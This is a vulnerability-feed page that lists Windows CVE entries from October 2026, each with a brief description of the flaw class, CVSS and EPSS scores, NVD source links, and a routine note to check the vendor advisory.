Weak authentication in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Weak authentication in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83840).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83840&date=2026-10-25).
Sources:
NVD CVE-2026-83840: https://nvd.nist.gov/vuln/detail/CVE-2026-83840
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83840&date=2026-10-25
Weak authentication in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83839
Time-of-check time-of-use (toctou) race condition in Windows Hyper-V allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83839).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83839&date=2026-10-25).
Sources:
NVD CVE-2026-83839: https://nvd.nist.gov/vuln/detail/CVE-2026-83839
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83839&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Windows Hyper-V allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Windows Bluetooth A2DP driver allows an authorized attacker to elevate privileges over an adjacent network.
https://kevwire.com/record/CVE-2026-83838
Integer underflow (wrap or wraparound) in Windows Bluetooth A2DP driver allows an authorized attacker to elevate privileges over an adjacent network. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Windows Bluetooth A2DP driver allows an authorized attacker to elevate privileges over an adjacent network.
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83838).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83838&date=2026-10-25).
Sources:
NVD CVE-2026-83838: https://nvd.nist.gov/vuln/detail/CVE-2026-83838
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83838&date=2026-10-25
Integer underflow (wrap or wraparound) in Windows Bluetooth A2DP driver allows an authorized attacker to elevate privileges over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83837
Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83837).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83837&date=2026-10-25).
Sources:
NVD CVE-2026-83837: https://nvd.nist.gov/vuln/detail/CVE-2026-83837
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83837&date=2026-10-25
Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-83836
Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83836).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83836&date=2026-10-25).
Sources:
NVD CVE-2026-83836: https://nvd.nist.gov/vuln/detail/CVE-2026-83836
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83836&date=2026-10-25
Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83834
Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83834).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83834&date=2026-10-25).
Sources:
NVD CVE-2026-83834: https://nvd.nist.gov/vuln/detail/CVE-2026-83834
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83834&date=2026-10-25
Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83833
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83833).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83833&date=2026-10-25).
Sources:
NVD CVE-2026-83833: https://nvd.nist.gov/vuln/detail/CVE-2026-83833
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83833&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83832
Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83832).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83832&date=2026-10-25).
Sources:
NVD CVE-2026-83832: https://nvd.nist.gov/vuln/detail/CVE-2026-83832
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83832&date=2026-10-25
Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83830
Heap-based buffer overflow in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83830).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83830&date=2026-10-25).
Sources:
NVD CVE-2026-83830: https://nvd.nist.gov/vuln/detail/CVE-2026-83830
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83830&date=2026-10-25
Heap-based buffer overflow in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83829
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83829).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83829&date=2026-10-25).
Sources:
NVD CVE-2026-83829: https://nvd.nist.gov/vuln/detail/CVE-2026-83829
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83829&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Bluetooth Port Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83827
Heap-based buffer overflow in Windows Bluetooth Port Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Bluetooth Port Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83827).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83827&date=2026-10-25).
Sources:
NVD CVE-2026-83827: https://nvd.nist.gov/vuln/detail/CVE-2026-83827
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83827&date=2026-10-25
Heap-based buffer overflow in Windows Bluetooth Port Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83797
Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83797).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83797&date=2026-10-25).
Sources:
NVD CVE-2026-83797: https://nvd.nist.gov/vuln/detail/CVE-2026-83797
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83797&date=2026-10-25
Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows IKE Extension allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83795
Heap-based buffer overflow in Windows IKE Extension allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows IKE Extension allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83795).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83795&date=2026-10-25).
Sources:
NVD CVE-2026-83795: https://nvd.nist.gov/vuln/detail/CVE-2026-83795
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83795&date=2026-10-25
Heap-based buffer overflow in Windows IKE Extension allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83793
Improper link resolution before file access ('link following') in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83793).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83793&date=2026-10-25).
Sources:
NVD CVE-2026-83793: https://nvd.nist.gov/vuln/detail/CVE-2026-83793
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83793&date=2026-10-25
Improper link resolution before file access ('link following') in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in Windows Device Install Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83792
Incorrect authorization in Windows Device Install Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Incorrect authorization in Windows Device Install Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83792).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83792&date=2026-10-25).
Sources:
NVD CVE-2026-83792: https://nvd.nist.gov/vuln/detail/CVE-2026-83792
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83792&date=2026-10-25
Incorrect authorization in Windows Device Install Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper authorization in Windows Virtual Input allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83791
Improper authorization in Windows Virtual Input allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper authorization in Windows Virtual Input allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83791).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83791&date=2026-10-25).
Sources:
NVD CVE-2026-83791: https://nvd.nist.gov/vuln/detail/CVE-2026-83791
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83791&date=2026-10-25
Improper authorization in Windows Virtual Input allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83790
Use after free in Windows Hello allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83790).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83790&date=2026-10-25).
Sources:
NVD CVE-2026-83790: https://nvd.nist.gov/vuln/detail/CVE-2026-83790
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83790&date=2026-10-25
Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows SMB Client allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-83789
Heap-based buffer overflow in Windows SMB Client allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows SMB Client allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83789).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83789&date=2026-10-25).
Sources:
NVD CVE-2026-83789: https://nvd.nist.gov/vuln/detail/CVE-2026-83789
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83789&date=2026-10-25
Heap-based buffer overflow in Windows SMB Client allows an unauthorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83785
Use after free in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83785).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83785&date=2026-10-25).
Sources:
NVD CVE-2026-83785: https://nvd.nist.gov/vuln/detail/CVE-2026-83785
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83785&date=2026-10-25
Use after free in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Absolute path traversal in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-83784
Absolute path traversal in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Absolute path traversal in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83784).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83784&date=2026-10-25).
Sources:
NVD CVE-2026-83784: https://nvd.nist.gov/vuln/detail/CVE-2026-83784
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83784&date=2026-10-25
Absolute path traversal in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83783
Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83783).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83783&date=2026-10-25).
Sources:
NVD CVE-2026-83783: https://nvd.nist.gov/vuln/detail/CVE-2026-83783
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83783&date=2026-10-25
Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83782
Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83782).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83782&date=2026-10-25).
Sources:
NVD CVE-2026-83782: https://nvd.nist.gov/vuln/detail/CVE-2026-83782
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83782&date=2026-10-25
Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83779
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83779).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83779&date=2026-10-25).
Sources:
NVD CVE-2026-83779: https://nvd.nist.gov/vuln/detail/CVE-2026-83779
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83779&date=2026-10-25
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Internet Messaging API allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83778
Heap-based buffer overflow in Microsoft Internet Messaging API allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Internet Messaging API allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83778).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83778&date=2026-10-25).
Sources:
NVD CVE-2026-83778: https://nvd.nist.gov/vuln/detail/CVE-2026-83778
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83778&date=2026-10-25
Heap-based buffer overflow in Microsoft Internet Messaging API allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Bluetooth Service allows an unauthorized attacker to elevate privileges over an adjacent network.
